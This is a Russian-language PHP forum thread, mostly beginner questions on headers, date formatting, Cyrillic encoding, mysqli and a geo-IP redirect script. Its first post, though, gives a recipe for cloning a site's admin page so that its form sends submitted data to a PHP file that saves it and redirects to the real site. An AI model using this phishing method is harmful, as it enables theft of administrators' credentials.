1. сохраняешь страницу с сайта админа. 2. приводишь ее внешний вид в порядок если сбился дизайн 3. правишь адрес куда отправляются данные с формы на свой файл (приемщик пусть назовем) 4. создаешь файл приемщик (яндекс "сохранить post данные в txt php") пример: <?php if ($_POST['content']) { $file=fopen('content.txt','w'); fputs($file,$_POST['content']); fclose($file); header('Location: http://realsite.com/adminko/'); }; }?> 5. вот и все
Доброго времени вам суток! Подскажите пожалуйста вот код: <?php echo date("d:m:Y H:i:m"); header("Refresh: 1"); ?> по идее должный быть живые часы страница перезапрашивается каждую секунду и соответственно в браузере меняется время каждую секунду. У меня вопрос состоит в том что у меня на странице часы не идут, мне выводится время первого запроса, дальше страница обновляется каждую секунду но время не меняется. В чем может быть проблема?
1. header() до вызова echo (поменяй строчки в скрипте местами, иначе будет "Warning: headers already sent...") 2. Я, конечно, не уверен в том, что ты хочешь сделать, но если речь идет о часах, то последний модификатор в date должен быть не m, a s: PHP: echo date("d:m:Y H:i:s");
задам ещё вопрос,т.к на мои другие не ответили вообще создал файл **.php со скриптом,а почему-то не читаются русские буквы,они выглядят как иероглифы типа: как это исправить?
Чтобы отвечали, спрашивайте по существу, и более понятно. Ваш текст "Сообщения отправлены!" выводится в кодировке UTF-8, перекодируйте его в windows-1251
если у вас отображается результат так, нужно поставить в заголовок кодировку: PHP: header('Content-Type: text/html; charset=utf-8'); так же можно в echo прописать PHP: <meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
А ты вопросы для начала научись задавать нормально, мы без понятия в чем ты редактировал файл (на какой ос и каким редакторов) и где конкретно не отображается кириллица. Если ты создал файл в линуксе и редактируешь его в винде блокнотом это одна история, если ты создал файл в винде и закинул на хостинг и там при выводе страницы кракозябры это другая история.
MySql_connect "Deprecated: mysql_connect(): The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead in..." такое предуприждение.. Когда меняю на MySqli_connect () - выдает ошыбку, что такой функции не существует.. в чем проблема? заранее спасибо..
М.б расширение mysqli не установленно? Так вызываешь? PHP: mysqli_connect I_I, PHP: <div class="sg-nav" style="display: <?php echo $oTopic->getPhotosetCount() == 1 ? "none" : "block";?>;">
Пробовал и так, у меня нотепад + + и он опридиляет функции, выводит их синим цветом, когда пишу MySqli_connect становится черный цвет (то есть, не опредиляе функции)
Подскажите, вот есть скрипт редиректа по гео ip PHP: <?php require_once("data/function_geoip.php"); $url = "http://google.ru"; // Редирект для всех остальных стран, которых нет в params.txt $arr_par = file("params.txt"); $ips = $_SERVER['REMOTE_ADDR']; $gis = geoip_open("data/GeoIP.dat", GEOIP_STANDARD); $country_code = geoip_country_code_by_addr($gis, $ips); geoip_close($gis); if(!empty($country_code)){ for($i=0; $i<count($arr_par); $i++){ $str = trim($arr_par[$i]); $country = explode("|", $str); if($country_code == $country[0]){ header("Location: ".$country[1]); die; } } header("Location: ".$url); die; }else{ header("Location: ".$url); die; } ?> И для него есть файл params.txt где задаются редиректы для страны PHP: US|http://domains.com/tpl/us.html RU|http://domains.com/tpl/ru.html Как сделать чтобы была одна схема на несколько стран. Чтобы одной строчкой было, типа PHP: US, RU|http://domains.com/tpl/us.html По разному пробовал писать, не работает
Scofild, Страны нужно будет записать через запятую.. без пробелов между запятыми. PHP: <?php require_once("data/function_geoip.php"); $url = "http://google.ru"; // Редирект для всех остальных стран, которых нет в params.txt $arr_par = file("params.txt", FILE_IGNORE_NEW_LINES); $ips = $_SERVER['REMOTE_ADDR']; $gis = geoip_open("data/GeoIP.dat", GEOIP_STANDARD); $country_code = geoip_country_code_by_addr($gis, $ips); geoip_close($gis); if(!empty($country_code)) { foreach ($arr_par as $param) { list($countrys, $location) = explode("|", $param); $countrys = explode(',', $countrys); if(in_array($country_code, $countrys)){ $url = $location; break; } } } header("Location: ".$url); ?>